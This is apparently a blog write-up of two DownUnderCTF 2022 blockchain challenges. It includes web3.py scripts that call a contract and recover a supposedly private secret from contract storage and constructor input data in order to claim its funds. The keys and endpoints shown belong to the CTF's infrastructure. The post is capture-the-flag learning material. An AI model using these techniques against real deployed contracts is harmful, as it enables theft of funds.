My Introduction to Web3 Hacking at DownUnderCTF 2022

sharkmoos
9 min readOct 6, 2022

I must say, I am not a Web3 fanboy. That is not to say I dislike the technology - on the contrary, whilst at school, I completed an Extended Project Qualification (EPQ) analysing blockchain technology. However, it feels like Web3 has a long way to go before the general user has a use for it, especially considering the current security implications.

Marcus Hutchens has a good video about the security of Web3 on YouTube here

When DownUnderCTF 2022 rolled round, it was interesting to see a blockchain category had been added. After solving the challenges that fulfilled my team role, I decided to give the blockchain category a go. This article contains my writeup for two of the five challenges in the category.

Quick disclaimer that I am absolutely a novice in Web3 and Blockchain, so I apologise if any of my conclusions or assumption are incorrect. The goal of this article is to demonstrate how someone could learn enough in a short space of time so solve some fun challenges

Challenge 1: Solve Me

This was a good introduction. There is no real ‘hacking’ involved, the goal is to simply interact with a remote service to get a flag.

The source code of the application was provided SolveMe.sol. There is also a remote API https://blockchain-solveme-6eba9acebeb66aaf-eth.2022.ductf.dev/ with three endpoints /challenge,/challenge/solve, /challenge/reset.

The Smart Contract

So, for reasons I really don’t want to know, a Smart Contract is essentially a program in the world of Web3, it runs on the blockchain and executes operations when predefined conditions are met.

The smart contract for Solve Me was super simple, even I understood what was going on

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
*
@title SolveMe
*
@author BlueAlder duc.tf
*/
contract SolveMe {
bool public isSolved = false;

function solveChallenge() external {
isSolved = true;
}

}

So essentially there is a method solveChallenge, the external decorator means the method can be called by other contracts or during transactions, aka triggered by a user (is this making as little sense to you as it is to me?)

Interacting with the Blockchain

As stated above, a way to interact with a smart contract is during a transaction, so let’s try to write a contract. I decided to use Web3Py, because I’ll do basically anything to avoid having to write Javascript. I used this resource as a template for how to write a contract. Specifically, the ‘Making a transaction’ section was useful. An interesting difference is that ‘read’ operations don’t need to be signed, where as write operations do. I decided to attempt a read operation first as it strips out some complexity.

First step was to write code to compile the Smart Contract into an ABI. An Application Binary Interface seems to be the Web2 equivalent of an API definition.

Like its Web2 cousin, the API, ABI acts as a function selector, defining the specific methods that can be called to a smart contract for execution. These specific methods and their connected data types are listed in a generated JSON RPC file.

The Python library solcx can be used to compile an ABI from a smart contract

from web3 import Web3
import solcx
def create_abi():
# have specify version to prevent it crashing cos WHO THE **** NEEDS backward COMPATIBILITY
solcx.inst
solcx.install_solc(version='0.8.9')
solcx.set_solc_version('0.8.9')
temp_file = solcx.compile_files('SolveMe.sol')
abi = temp_file['SolveMe.sol:SolveMe']['abi']
return abi

With this function written, the main script can connect to the blockchain, and call the isSolved variable. This should return False if everything is written correctly.

if __name__ == "__main__":
infra_url = "https://blockchain-solveme-6eba9acebeb66aaf-eth.2022.ductf.dev/"
web3 = Web3(Web3.HTTPProvider(infra_url))
# add our own middleware cos who cares about compatibility when you have web

if not
web3.isConnected():
print("Not connected to the blockchain")
exit(1)

smart_contract_address = "0x734B26e5cfF97983704D92202760f83372784061"
smart_contract_abi = create_abi()

solve_method = web3.eth.contract(address=smart_contract_address, abi=smart_contract_abi)
# should be false if the contract has not already been solved
print
(f"Current value for 'isSolved': {solve_method.functions.isSolved().call()}")

Amazingly, this actually worked!

> python3 test.py
Current value for 'isSolved': False

Starting to get the hang of this… So, now to write a ̶p̶r̶o̶g̶r̶a̶m̶ transaction that will actually call the SolveMe solveChallenge. Since this actually changes the state of the program, this will require transaction signing using my private key.

This involved building a contract using my address, getting a nonse, defining a gas price (barely any resource online mentioned this was important). Then, the contract can be signed using my private key, and then sent as a raw transaction.

Finally, get a receipt for the contract, and check the isSolved value to see if it has been set to true.

tx = solve_method.functions.solveChallenge().buildTransaction(
{
'from': my_address,
"gasPrice": web3.eth.gas_price, # two ******* hours it took to figure out this was needed.
'nonce': web3.eth.get_transaction_count(my_address),
}
)

# needs to be signed as we are executing/writing not just reading
tx_create = web3.eth.account.sign_transaction(tx, my_private_key)
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')

# should be true if the function was called
print
(f"Current value for 'isSolved' {solve_method.functions.isSolved().call()}")

Again, this actually worked!

> python3 test.py
Current value for 'isSolved': False
Tx successful with hash: 0xa0e8b7b8389e05bb4a3148437b653ee4633ff09171880b2fb5873ccf47117231
Current value for 'isSolved' True
Flag: DUCTF{muM_1_did_a_blonkchain!}

The final script:

from web3 import Web3
import solcx
import requests

def create_abi():
# have specify version to prevent it crashing cos WHO THE **** NEEDS backward COMPATIBILITY
solcx.install_solc(version='0.8.9')
solcx.set_solc_version('0.8.9')
temp_file = solcx.compile_files('SolveMe.sol')
abi = temp_file['SolveMe.sol:SolveMe']['abi']
return abi

if __name__ == "__main__":
infra_url = "https://blockchain-solveme-6eba9acebeb66aaf-eth.2022.ductf.dev/"
web3 = Web3(Web3.HTTPProvider(infra_url))
# add our own middleware cos who cares about compatibility when you have web

if not
web3.isConnected():
print("Not connected to the blockchain")
exit(1)

my_private_key = "0xe28ebe3617bfba0d936ceecd6a497d6d2b7a6b08ff380bdb47037cc416e1db8d"
my_address = "0xaC6136101b5DddCd9B681Be0AbDA192bECf9450D"

smart_contract_address = "0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8"
smart_contract_abi = create_abi()

solve_method = web3.eth.contract(address=smart_contract_address, abi=smart_contract_abi)
# should be false if the contract has not already been solved
print
(f"Current value for 'isSolved': {solve_method.functions.isSolved().call()}")

tx = solve_method.functions.solveChallenge().buildTransaction(
{
'from': my_address,
"gasPrice": web3.eth.gas_price, # two ******* hours it took to figure out this was needed.
'nonce': web3.eth.get_transaction_count(my_address),
}
)

# needs to be signed as we are executing/writing not just reading
tx_create = web3.eth.account.sign_transaction(tx, my_private_key)
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)

tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')

# should be true if the function was called
print
(f"Current value for 'isSolved' {solve_method.functions.isSolved().call()}")
if solve_method.functions.isSolved().call() is True:
print("Flag: ", requests.get("https://blockchain-solveme-6eba9acebeb66aaf.2022.ductf.dev/challenge/solve").json()['flag'])
else:
print("Failed to solve the challenge"

Challenge 2: secret-and-ephemeral

This is actually the third challenge in this list, but I solved it second so I’ll do it in this order.

This challenge involved actually exploiting a smart contract in some way, with the goal of stealing money.

The smart contract was larger than the first challenge, with a constructor and two methods (giveTheFunds and retrieveTheFunds). There are some functions I don’t recognise, such as keccak256m, and I have no idea what a spooky_hash is.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
*
@title Secret And Ephemeral
*
@author Blue Alder (https://duc.tf)
**/

contract SecretAndEphemeral {
address private owner;
int256 public seconds_in_a_year = 60 * 60 * 24 * 365;
string word_describing_ductf = "epic";
string private not_yours;
mapping(address => uint) public cool_wallet_addresses;

bytes32 public spooky_hash; //

constructor(string memory _not_yours, uint256 _secret_number) {
not_yours = _not_yours;
spooky_hash = keccak256(abi.encodePacked(not_yours, _secret_number, msg.sender));
}

function giveTheFunds() payable public {
require(msg.value > 0.1 ether);
// Thankyou for your donation
cool_wallet_addresses[msg.sender] += msg.value;
}

function retrieveTheFunds(string memory secret, uint256 secret_number, address _owner_address) public {
bytes32 userHash = keccak256(abi.encodePacked(secret, secret_number, _owner_address));

require(userHash == spooky_hash, "Somethings wrong :(");

// User authenticated, sending funds
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
}

The retrieveTheFunds function sends money to a user interacting with the contract, as long as the user provides a secret, secret_number, and _owner_address that, when hashed with keccak256, matches the spooky_hash variable.

I started by checking I could connect to the smart contract and read some data in the same way as the first challenge. I checked that I could read the value of the spooky_hash variable

from web3 import Web3
import solcx
import requests


def create_abi():
# have specify version to prevent it crashing cos WHO THE **** NEEDS backward COMPATIBILITY
solcx.install_solc(version='0.8.9')
solcx.set_solc_version('0.8.9')
temp_file = solcx.compile_files('SecretAndEphemeral.sol')
abi = temp_file['SecretAndEphemeral.sol:SecretAndEphemeral']['abi']
return abi


if __name__ == "__main__":
infra_url = "https://blockchain-secretandephemeral-cf1b3e343d4df968-eth.2022.ductf.dev/"
web3 = Web3(Web3.HTTPProvider(infra_url))
# add our own middleware cos who cares about compatibility when you have web

if not
web3.isConnected():
print("Not connected to the blockchain")
exit(1)

my_private_key = "0x4e2b087a2253ed3dfa92cd972954d67c60dcf673178f0c22eea4991d821df0c8"
my_address = "0xa33F2C75a69FB2616E8e9342149a30f4c73dA508"

smart_contract_address = "0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8"
smart_contract_abi = create_abi()

solve_method = web3.eth.contract(address=smart_contract_address, abi=smart_contract_abi)
# should be false if the contract has not already been solved
print
(f"Value of 'Spooky Hash': {solve_method.functions.spooky_hash().call()}")

The response seemed valid.

python3 solve.py
Value of 'Spooky Hash': b'+\x8a\x95\xaej\xdb@\xa4\xfdZE~\x05\xa4r%\xdf\xf3\xb50\xf7.@N\xa8\xfbxz\x9b\xffa\x85'

So the spooky_hash value that needs to be replicated is 2b8a95ae6adb40a4fd5a457e05a47225dff3b530f72e404ea8fb787a9bff6185. If we can find the transaction that created the smart contract, it should be possible to identify the values used to create the spooky_hash.

Finding Smart Contract Constructors

On the Web3Py docs it shows how transactions can be queried. Most transactions will have an values for to and from. Constructors, however, do not. So, to find the constructor transaction I queried the blockchain for a transaction which met these requirements.

number_of_blocks = web3.eth.block_number # get number of blocks on chain
while
number_of_blocks > 0:
block = web3.eth.get_block(number_of_blocks).transactions
if len(block) > 0:
for i in block:
transaction = web3.eth.get_transaction(i)
print(transaction["creates"])

# if there is no receiver for a transaction, it is likely contract creation
if
transaction["to"] is None and transaction["from"] == smart_contract_address:
print(f"Found a possible constructor at block {number_of_blocks}")
break
number_of_blocks -= 1
if constructor_transaction is None:
print("Could not find a constructor transaction")
exit(1)

The correct block should contain all the information we need. The _owner_address value will be the from value in the transaction, the secret should be stored in memory (is is defined as string memory secret), and the secret number should be some input parameter.

I easily got the from value.

message_sender = transaction["from"]
print(f"Message sender: {message_sender}")

The secret variable, however, was much trickier. It is a private variable, so it can’t simply be called as I could with spooky_hash. I read that it’s possible to read a variable from a smart contract here, but it requires a location value and it wasn’t clear what was expected there. Luckily I found this thread that explained it’s possible to predict the location of a private variable if the source code is available. Variables are stored contiguously, so it’s simply the index of the variable in the declaration order, which is three.

With this, I could read the data.

transaction_data = web3.toText(web3.eth.get_storage_at(smart_contract_address, int(web3.keccak(int(3).to_bytes(32, 'big')).hex(), 16)))
transaction_data += web3.toText(web3.eth.get_storage_at(smart_contract_address, int(web3.keccak(int(3).to_bytes(32, 'big')).hex(), 16) + 1).strip(b"\x00"))
print(transaction_data)

Working out how to get the final argument of (secret_number) was equally challenging. Turns out that the data used in a transaction is stored in the input field of the transaction. So the parameters must be in there somewhere. Turns out parameters are stored at the end of the input data, so next step is to figure how much of the end is the params. _secret_number is easy, it’s 256 bits (32 bytes) — but how large is a string?

After an hour or so in the Solidity docs I was reading about bytes and strings where I discovered strings are stored in slots, which are 32 bytes large. Since the _not_yours variable is larger than 32 bytes, it must be consuming a 64 byte memory slot (I think that’s how it works?). So 64+32 of the input data is the parameters passed to the constructor I guess...

For some reason in practice this isn’t quite right. There is an additional 32 bytes of data at the end that I have no idea the purpose. So, in the calculation to get the secret_number was the following (values multiplied by 2 because 1 hex byte is two characters)

secret_number = bytes.fromhex(transaction.input[2:])[-64-32-32:-64-32] # the last 320 will be the params

This was 000000000000000000000000000000000000000000000000000000000dec0ded or 233573869.

Stealing the Funds

After that arduous journey, all the pieces required to call retrieveTheFunds have been obtained. I reused most of the previous challenge code for creating the transaction.

Conclusion

Well, that was a journey. Secret and Ephemeral was a great introduction to some concepts that I can see leading to potential bugs in the future. For example I imagine some Smart Contract programmers could make the mistake of thinking private variables can’’t be accessed by a general user. I enjoyed it a lot actually, I’d definitely consider attempting more blockchain challenges in the future.

--

--

sharkmoos

Novice Cyber Security Enthusiast. I like sharing what I’ve learnt